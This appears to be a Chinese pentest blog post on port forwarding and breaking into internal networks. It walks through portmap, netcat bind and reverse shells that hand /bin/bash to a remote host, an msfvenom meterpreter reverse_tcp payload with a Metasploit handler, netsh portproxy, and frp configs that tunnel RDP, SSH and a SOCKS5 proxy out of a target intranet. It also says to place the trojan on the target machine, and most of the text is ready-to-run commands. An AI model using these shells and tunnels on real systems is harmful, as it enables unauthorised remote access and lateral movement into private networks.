• 端口转发及穿透内网


    portmap

    https://github.com/Brucetg/Pentest-tools
    不推荐,我测试的时候很卡

    1. 首先在有公网ip的主机上监听
      ./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777
      监听来自6666端口的请求,并将其转发到7777端口。
    2. 在内网上进行端口转发(内网主机不出网)(会一直监听端口)
      ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网ip -p2 6666
      将内网主机22端口的流量转发到公网主机的6666端口
    3. 登录
      ssh 公网ip -p 7777

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    nc

    交互性较差

    正向连接(内网主机出网)

    1. 内网主机
      nc -l -p 4444 -t -e /bin/bash
      -t 是通过telnet模式执行cmd.exe程序。
    2. 公网主机
      nc -vv 内网ip 4444

    在这里插入图片描述
    在这里插入图片描述

    反向连接(内网主机不出网)

    1. 在公网主机上进行监听
      nc -lvnp 4444
    2. 在内网主机上执行
      nc -t -e /bin/bash 公网主机ip 4444
      在这里插入图片描述
      在这里插入图片描述

    netsh端口转发

    端口转发

    netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
    参数说明:
    listenaddress – 等待连接的本地IP地址。
    listenport – 本地侦听TCP端口。
    connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
    connectport – 一个TCP端口,来自listenport的连接会被转发到该端口 显示系统中的转发规则列表

    显示系统中的转发规则列表netsh interface portproxy show all
    清除所有当前的端口转发规则 netsh interface portproxy reset
    删除指定的端口转发规则 netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110

    netsh端口转发监听meterpreter

    1. 攻击机
      msfvenom -p windows/meterpreter/reverse_tcp > lhost=跳板机ip lport=跳板机端口 -f exe>shell.exe
    2. 跳板机输入端口转发命令
      netsh interface portproxy add v4tov4 listenport=跳板机端口 connectaddress=内网ip connectport=内网端口
    3. 攻击机监听
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set lhost 内网ip
      set lport 内网端口

    frp

    在有公网ip上配置fips

    启动服务端
    ./frps -c ./frps.ini
    在攻击机上配置frpc
    启动客户端
    ./frpc -c ./frpc.ini
    连接成功,服务端有数据交互
    最后将马放到目标机,并且攻击机开启监听

    服务端配置文档

    bind_port = 7000
    vhost_https_port = 7001 #当代理出来的是web服务时,在外网访问http://vps的IP:7001
    #dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
    dashboard_port = 7500
    #dashboard_user访问用户dashboard_pwd访问密码
    dashboard_user = admin
    dashboard_pwd = password
    #log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
    log_file = ./frps.log
    log_level = info
    log_max_days = 3
    authentication_timeout = 0
    #max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
    max_pool_count = 50

    客户端配置文件

    server_addr = 1xx.1xx.1xx.205 #vps的ip
    server_port = 7000 #vps中配置服务端要一样bind_port = 7000
    [rdp]
    type = tcp #类型tcp
    local_ip = 127.0.0.1 #需要代理出去的ip
    local_port = 3389 #需要代理出去访问的端口我这里是3389
    remote_port = 7389 #这里就是转发出去的端口,也就是在自己的机器上访问的代理端口 rdp:vps的IP:7389

    例子

    在这里插入图片描述

    1. VPS配置服务端frps.ini

    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    运行

    frps.exe -c frps.ini
    
    • 1
    1. 目标内网机器配置客户端frpc.ini

    [common]
    server_addr = 1.166.166.6
    server_port = 7000
    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5

    运行

    frpc.exe -c frpc.ini
    
    • 1
    1. kali设置代理socks5

    vi /etc/proxychains4.conf
    socks5 1.166.166.6 7777

    msf设置代理

    setg Proxies socks5:1.166.166.6:7777
    setg ReverseAllowProxy true

    使用代理

    ssh端口转发、msf反弹shell的端口转发—代理配置

    在环境中,VPS起到了桥梁的作用,使得两个内网可以相互通信
    在这里插入图片描述

    1. 环境描述

    攻击目标内网

    攻击桥梁VPS(windows),ip:1.166.166.6

    本地机器kali linux,ip:10.1.0.4

    工具:frp

    1. 服务端配置

    VPS为服务端,假设ip为1.166.166.6

    将下载的FRP文件放在VPS,编辑frps.ini文件配置

    [common]

    bind_port = 60121
    dashboard_port = 88
    dashboard_user = admin
    dashboard_pwd = zCV2!#sWE3x

    参数说明:

    [common] # 名字
    bind_port = port # 指的是frp的服务端端口,用来和客户端kali建立连接
    dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
    http://1.166.166.6:88
    dashboard_user = admin # 网页版的登录用户名
    dashboard_pwd = zCV2!#sWE3x # 网页版的登录密码

    配置好之后保存,进行运行

    frps.exe -c frps.ini

    1. 客户端配置

    将FRP文件放进kali,解压命令

    tar -zxvf frp_0.36.2_linux_amd64.tar.gz
    
    • 1

    配置kali,让在本地内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini

    [common]
    server_addr = 1.166.166.6
    server_port = 60121

    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 60122
    use_compression = true

    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 1234
    remote_port = 60123

    参数说明

    [common]名称
    server_addr = 1.166.166.6 # 服务器IP
    server_port = 60121 # VPS的端口,用来建立连接

    [ssh] # 配置ssh登录的端口转发
    type = tcp # 连接方式为TCP的方式
    local_ip = 127.0.0.1 # 将本地的IP映射出去
    local_port = 22 # 本地的端口为22
    remote_port = 60122 # 映射的端口为60122,本地端口22映射到VPS的60122
    use_compression = true

    [msf] # 配置msf的监听端口转发
    type = tcp # 连接方式
    local_ip = 127.0.0.1 # 本地IP
    local_port = 1234 # 监听本地的端口
    remote_port = 60123 # 映射的VPS端口为60123,本地端口1234映射到VPS的60123

    在kali中运行

    ./frpc -c frpc.ini
    
    • 1
    1. 访问一下frp的web管理页面

    访问http://1.166.166.6:88,输入用户名密码登录

    可以观察到流量的情况

    1. 测试效果

    ssh远程kali,前提是kali开启了远程连接
    在这里插入图片描述

    参考

    https://www.bilibili.com/read/cv13762388

  • 相关阅读:
    Ubuntu设置开机执行sh脚本
    [Java] 从内存的角度去理解ThreadLocal如何把不同线程间的访问隔离开来?ThreadLocal的内存泄露问题是什么?如何避免?
    Leetcode.2316 统计无向图中无法互相到达点对数
    【技术分享】Python 和 JavaScript 的区别是什么?
    电力电子转战数字IC——题目合集+持续更新进度
    华清远见上海中心22071班
    使用 Sealos 在离线环境中光速安装 K8s 集群
    spark案例分析-搜索引擎日志分析案例
    Hall定理(霍尔定理)证明及推广
    【韩顺平 零基础30天学会Java】面向对象编程(中级)
  • 原文地址:https://blog.csdn.net/qq_45751902/article/details/127651760